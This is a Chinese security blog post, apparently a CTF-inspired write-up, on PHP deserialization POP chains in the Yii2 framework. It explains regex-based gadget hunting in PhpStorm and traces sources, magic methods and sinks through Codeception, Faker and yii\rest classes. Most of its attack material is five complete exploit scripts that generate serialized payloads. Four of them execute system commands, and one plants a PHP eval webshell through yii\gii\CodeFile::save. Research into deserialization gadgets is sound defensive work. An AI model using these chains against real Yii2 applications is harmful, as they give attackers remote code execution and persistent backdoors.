Diggid's Blog

YII 反序列化POP链汇总

字数统计: 2.9k阅读时长: 14 min
2021/05/10 Share

前言

红帽杯出了道YII的链,加上bypass disable_functions,这里简单总结一下YII的链子和记录一下PHPSTORM配合下全局搜链的技巧。链子的思路和Laravel7差不多,目前还没有phar + 写log的利用,YII除了反序列化之外还有蛮多洞的,慢慢分析。这篇文章主要还是想分享总结一下全局找链的方法,毕竟一个个怼着一大堆的__destruct__callcall_user_func看的话,有点太慢了

image-20210511000631363

YII框架搭建 & 简介

yii1 : https://www.yiiframework.com/doc/guide/1.1/zh-cn/quickstart.what-is-yii

yii2 : https://www.yiichina.com/doc/guide/2.0

用composer拉一下yii2的项目

1
composer create-project --prefer-dist yiisoft/yii2-app-basic yii2

关于yii框架的细节这里就不多介绍了,我们简单介绍一下路由,YII的路由也比较有特点,在URL中用r这个参数来控制Controller和Action,熟悉TP的话,可以知道TP是用s来控制的,但两者还是有点差别的。这里举个例子:

1
?r=site/test

上面的路由会找到SiteController这个控制器,然后找到其中的actionAbout路由来处理这个页面请求。

controllers/SiteController.php下,我们加一个存在反序列化漏洞入口的路由

1
2
3
4
5
6
7
8
9
10
/**
* Displays about page.
*
* @return string
*/
public function actionTest($message = 'Hello')
{
$data = base64_decode($message);
unserialize($data);
}

上面路由的访问方式和传参方式:

1
index.php?r=site/test&message=

如果要本地配合PHPSTORM调试的话,放在一个目录里,然后配置好phpstorm的调式参数,不使用yii提供的命令行来启动,我们手动访问web/index.php即可

好用的全局正则

这些正则都是基于一些调用链的形式写出来的,待补充…

形式 正则
$this->aaa \$this->([\w\d_]+)
($this->aaa, $this->bbb, …) \(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)
$this->xxx->yyy(…) 任意跳转不限参:\$this->([\w\d_]+)->([\w\d_]+)
$this->xxx->yyy($this->aaa) 任意跳转控单参:\$this->([\w\d_]+)->([\w\d_]+)\(\$this->([\w\d_]+)\)
$this->xxx->yyy($this->aaa, $this->bbb) 任意跳转控双参:\$this->([\w\d_]+)->([\w\d_]+)\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)\)
$this->xxx->yyy($this->aaa,$this->bbb,…) 任意跳转控多参(尽量固定参):\$this->([\w\d_]+)->([\w\d_]+)\((\$this->([\w\d_]+)[,\ ]*){2,}
$this->xxx->{$this->xxx}(...) 同上:\$this->([\w\d_]+)->\{(\$this->([\w\d_]+))}
call_user_func_*(...) 执行命令不限参:call_user_func(_array)?\(
call_user_func_*($this->aaa,$this->bbb,...) 执行命令控多参call_user_func(_array)?\([\n ]*(\$this->([\w\d_]+)[,\ ]*){1,}
$this->xxx($this->yyy,…) 单参数:\(?\$this->([\w\d_]+)\)?\(\$this->([\w\d_]+)\)
双参数:\(?\$this->([\w\d_]+)\)?\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)\)
$xxx($this->aaa,$this->bbb) \$[\w\d_]+\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)
$xxx($aaa,$this->bbb) \$[\w\d_]+\(\$[\w\d_]+[,\ ]*\$this->([\w\d_]+)
$xxx($this->bbb,$aaa) \$[\w\d_]+\(\$this->([\w\d_]+)[,\ ]*\$[\w\d_]+
function __X(){…Y…} //X为函数名,Y为在函数中要找的前面列的形式 function [函数名][^\x00]*?[形式]
function __destruct[^\x00]*?\$this->([\w\d_]+)->([\w\d_]+)
function __call[^\x00]*?call_user_func(_array)?\([\n ]*(\$this->([\w\d_]+)[,\ ]*){2,}
function __call[^\x00]*?\$this->([\w\d_]+)->\{(\$this->([\w\d_]+))}
  • 找链时先把正则范围限小一些,这样能快速筛选出数量不多的符合条件的。然后再慢慢边宽

  • function __X(){...Y...}这个形式的正则并不能完全找到全都匹配的,因为phpstorm的正则无法使用递归模式,因此不太好限定就在X函数内这一条件。如果能使用递归的话,可以递归function __X(){...{...{...Y...}...}...}这样。

  • 上面的思路不能完全涵盖所有链的查找思路,比如以下几种形式还需要自己一个个去找

1
2
3
4
5
6
1.
$this->xxx() 在xxx函数里:$this->xxx->yyy()

2.
$a = $this->xxx
call_user_func($this->b, $a)

三段分析

Source

配合__call

先全局搜一下__destruct并且里面含有$this->xxx->yyy(...)这种形式的,找到三个,有一个不能用,有一个在新版本打了补丁,添加了__wakeup方法来阻止反序列化,但是低版本可以绕,有一个没有限制,可以利用

image-20210512132453580

有一个可以用,两个被修复了:

1
2
3
4
5
6
7
8
1. stopProcess函数中可以利用
\Codeception\Extension\RunProcess::__destruct

2. __wakeup阻止反序列化
\yii\db\BatchQueryResult::__destruct

3. __wakeup阻止反序列化
\GuzzleHttp\Psr7\FnStream::__destruct

看网上大部分的分析文章是找了没打补丁前的\yii\db\BatchQueryResult这个source为起点的链子,那我们这里就换一个RunProcess这个类来分析一下,其实都是一样的,只不过source变了而已。

具体来看一下RunProcess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function __destruct()
{
$this->stopProcess();
}

public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}

注意到$process->isRunning(),前面的$this->processes是可控的,因此这里就可以构造成$this->xxx->yyy()的形式了。

配合__tostring

这个不太好限制正则条件来找,触发__tostring的方式比较多,常见的有字符串拼接、输出函数(echovar_dump等)、hash操作(md5sha1)、eval等。

这里在直接在__destruct中找到了下面这个,但是已经被修复了

1
2
3
4
5
6
7
8
9
10
11
# __wakeup清空成员变量
\Swift_KeyCache_DiskKeyCache::__destruct
\Swift_KeyCache_DiskKeyCache::clearAll
public function clearKey($nsKey, $itemKey)
{
if ($this->hasKey($nsKey, $itemKey)) {
$this->freeHandle($nsKey, $itemKey);
// $nsKey可控
unlink($this->path.'/'.$nsKey.'/'.$itemKey);
}
}

Magic Method

__call

接下来找一下__call,直接全局搜索function __call,发现数量并不多,因此我们就不进一步限制全局条件了,直接看就好了。

找到两个可以跳板的和一个可控任意返回值的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 新版本__wakeup已修复,$arguments可控时可直接RCE
1. \Faker\Generator::__call
$this->format($method, $attributes);
call_user_func_array($this->getFormatter($formatter), $arguments);

#这个比较复杂,贴全一点,可以直接RCE
2. \Faker\ValidGenerator::__call
{
$i = 0;
do {

$res = call_user_func_array([$this->generator, $name], $arguments); //$res可控
++$i;

if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
}


3. \Faker\DefaultGenerator::__call
return $this->default; //这个可以用来返回可控值,并非跳板

__tostring

用下面几个正则找一下

1
function __tostring[^\x00]*?call_user_func(_array)?\([\n ]*(\$this->([\w\d_]+)[,\ ]*){1,}

找到一个:

1
2
1. \GuzzleHttp\Psr7\FnStream::__toString
return call_user_func($this->_fn___toString);

这里说明一下,我找__tostring主要是找可以直接连到sink的,也就是其中包含和__call一样的call_user_func(_array)?或者直接RCE的,至于一些__tostring中含有$this->xxx->yyy()这种形式的,可以再连到__call,也是一种思路,主要是用在:

  • __destruct中不存在触发__call而存在触发__tostring的情况
  • 扩大可控量,比如在__destruct中存在$this->xxx->yyy(zzz),但zzz参数不可控,但是如果能触发__tostring,且找到一个__tostring,其中有$this->xxx->yyy($this->zzz),这样再调用到__call就有一个可控参数传入了,但对于我们这里的ValidGenerator::__call,就不太需要了。
1
2
3
4
5
6
7
8
9
10
11
12
13
1. \Codeception\Util\XmlBuilder::__toString
return $this->__dom__->saveXML();

2. \phpDocumentor\Reflection\DocBlock\Tags\Covers::__toString
$description = $this->description->render();

3. \phpDocumentor\Reflection\Types\Nullable::__toString
return '?' . $this->realType->__toString();

4. \Prophecy\Argument\Token\IdenticalValueToken::__toString
$this->string = sprintf('identical(%s)', $this->util->stringify($this->value));

...

Sink

RCE

最后就是要找Sink了,根据我们前面找的__call,第一个__call$arguments参数不可控且为空,所以我们找一个任意函数无参并且包含sink点,对于第二种,在call_user_func($this->validator, $res)处,稍后会分析$res可控,因此这里可以寻找任意单参函数且包含sink。这里直接先全局搜一下call_user_func_*($this->a,$this->b,...)这种

1
call_user_func(_array)?\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)

找到这些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 有待考察,ob_get_contents方法是否可利用
1. \PHPUnit\Framework\TestCase::stopOutputBuffering()
if (ob_get_level() !== $this->outputBufferingLevel) {...}
$this->output = ob_get_contents();
if ($this->outputCallback !== false) {
$this->output = (string) call_user_func($this->outputCallback, $this->output);
}

2. \yii\rest\CreateAction::run()
\yii\rest\IndexAction::run()
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}

#和2有一点不一样,需要处理一下findModel
3. \yii\rest\DeleteAction::run($id)
\yii\rest\UpdateAction::run($id)
\yii\rest\ViewAction::run($id)
$model = $this->findModel($id);
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id, $model);
}

public function findModel($id)
{
if ($this->findModel !== null) {
return call_user_func($this->findModel, $id, $this);
}
...
}

Webshell

正则直接找双参数可控的file_put_contents

1
file_put_contents\(\$this->([\w\d_]+)[,\ ]*\$this->([\w\d_]+)

然后再找单参数可控且所在函数的参数用在了file_put_contents中的(因为前面的ValidGenerator::__call可控一个函数参数,这样就可能达到双参数可控),但是没找到好用的。最后找到一个双参数可控的

1
2
1. \yii\gii\CodeFile::save
@file_put_contents($this->path, $this->content)

POP链

pop1*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop1-rce.php
# @author: diggid
*/
namespace Codeception\Extension{
class RunProcess{
private $processes;
public function __construct($a)
{
$this->processes = array($a);
}
}
}
namespace Faker{
class Generator {
protected $formatters;
public function __construct($a)
{
$this->formatters = array("isRunning" => $a);
}
}
}

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct($a, $b)
{
$this->checkAccess = $a;
$this->id = $b;
}
}
}

namespace {
$a = new yii\rest\IndexAction("system", "calc");
$b = new Faker\Generator(array($a, "run"));
$c = new Codeception\Extension\RunProcess($b);
echo urlencode(base64_encode(serialize($c)));
}

pop2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop2-rce.php
# @author: diggid
*/
namespace Codeception\Extension{
class RunProcess{
private $processes;
public function __construct($a)
{
$this->processes = array($a);
}
}
}
namespace Faker{
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($a, $b)
{
$this->generator = $a;
$this->validator = $b;
$this->maxRetries = 2;
}
}

class DefaultGenerator{
protected $default;
public function __construct($a)
{
$this->default = $a;
}
}
}

namespace {
$a = new Faker\DefaultGenerator("calc");
$b = new Faker\ValidGenerator($a, "system");
$c = new Codeception\Extension\RunProcess($b);
echo urlencode(base64_encode(serialize($c)));
}

pop3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop3-rce.php
# @author: diggid
*/
namespace Codeception\Extension{
class RunProcess{
private $processes;
public function __construct($a)
{
$this->processes = array($a);
}
}
}
namespace Faker{
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($a, $b)
{
$this->generator = $a;
$this->validator = $b;
$this->maxRetries = 2;
}
}

class DefaultGenerator{
protected $default;
public function __construct($a)
{
$this->default = $a;
}
}
}

namespace yii\rest{
class ViewAction{
public $findModel;
public $checkAccess;
public $id;
public function __construct($a, $b, $c)
{
// call_user_func("system","calc",$this) is not available
// $model = call_user_func("array_fill_keys",array("diggid"),$this);
// call_user_func($this->checkAccess, $this->id, $model);
$this->checkAccess = $a;
$this->id = $b;
$this->findModel = $c;
}
}
}
namespace {
$a = new Faker\DefaultGenerator("xxx");
$d = new Faker\DefaultGenerator("system");
$e = new yii\rest\ViewAction("array_filter", array("calc"), array($d,"yyy"));
$b = new Faker\ValidGenerator($a, array($e, "run"));
$c = new Codeception\Extension\RunProcess($b);
echo urlencode(base64_encode(serialize($c)));
}

pop4

配合file_put_contents写webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop4-webshell.php
# @author: diggid
*/
namespace Codeception\Extension{
class RunProcess{
private $processes;
public function __construct($a)
{
$this->processes = array($a);
}
}
}
namespace Faker{
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($a, $b)
{
$this->generator = $a;
$this->validator = $b;
$this->maxRetries = 2;
}
}

class DefaultGenerator{
protected $default;
public function __construct($a)
{
$this->default = $a;
}
}
}

namespace yii\gii{
class CodeFile{
public $path = "../assets/shell.php";
//public $path = "./shell.php";
public $content = '<?php echo "pwned";@eval($_REQUEST[diggid]);?>';
}
}

namespace {
$a = new Faker\DefaultGenerator("xxx");
$e = new yii\gii\CodeFile;
//$e = new yii\rest\ViewAction("array_filter", array("calc"), array($d,"diggid"));
$b = new Faker\ValidGenerator($a, array($e, "save"));
$c = new Codeception\Extension\RunProcess($b);
echo urlencode(base64_encode(serialize($c)));
}

pop5*

这里链是删除Swift_KeyCache_DiskKeyCache::__wakeup后的tostring的链,实际是打不了的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
/*
# -*- coding: utf-8 -*-
# @filename: pop5-rce.php
# @author: diggid
*/
// __tostring
namespace GuzzleHttp\Psr7{
class FnStream{
public $_fn___toString;
public function __construct($a)
{
$this->_fn___toString = $a;
}
}
}
// Sink
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct($a, $b)
{
$this->checkAccess = $a;
$this->id = $b;
}
}
}

namespace {

class Swift_KeyCache_DiskKeyCache{
private $keys;
private $path;
public function __construct($a)
{
$this->keys = array(array("xxx"));
$this->path = $a;
}
}

$a = new yii\rest\IndexAction("system", "calc");
$b = new GuzzleHttp\Psr7\FnStream(array($a, "run"));
$c = new Swift_KeyCache_DiskKeyCache($b);
echo urlencode(base64_encode(serialize($c)));
}
CATALOG
  1. 1. 前言
  2. 2. YII框架搭建 & 简介
  3. 3. 好用的全局正则
  4. 4. 三段分析
    1. 4.1. Source
      1. 4.1.1. 配合__call
      2. 4.1.2. 配合__tostring
    2. 4.2. Magic Method
      1. 4.2.1. __call
      2. 4.2.2. __tostring
    3. 4.3. Sink
      1. 4.3.1. RCE
      2. 4.3.2. Webshell
  5. 5. POP链
    1. 5.1. pop1*
    2. 5.2. pop2
    3. 5.3. pop3
    4. 5.4. pop4
    5. 5.5. pop5*